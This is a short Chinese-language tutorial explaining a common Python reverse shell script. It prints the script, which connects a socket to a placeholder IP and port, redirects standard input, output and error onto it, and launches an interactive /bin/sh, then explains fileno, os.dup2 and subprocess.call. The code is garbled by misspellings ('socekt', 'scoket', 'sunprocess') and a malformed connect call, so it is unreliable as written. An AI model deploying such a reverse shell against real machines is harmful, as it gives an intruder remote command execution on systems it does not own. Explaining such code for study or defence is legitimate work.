一个常见反弹shell脚本详解

# !/usr/bin/python
import os, subprocess,socket

s = socket.socekt(socket.AF_INET,scoket.SOCK_STREAM)
s.connect("IP","port")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

p = sunprocess.call(["/bin/sh","-i"])

---

fileno() 方法返回一个整型的文件描述符(file descriptor FD 整型)，可用于底层操作系统的 I/O 操作。

---

os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2。

语法格式
os.dup2(fd, fd2);

• fd – 要被复制的文件描述符

• fd2 – 复制的文件描述符

---

sunprocess.call() 这个方法的作用是执行一些命令行的命令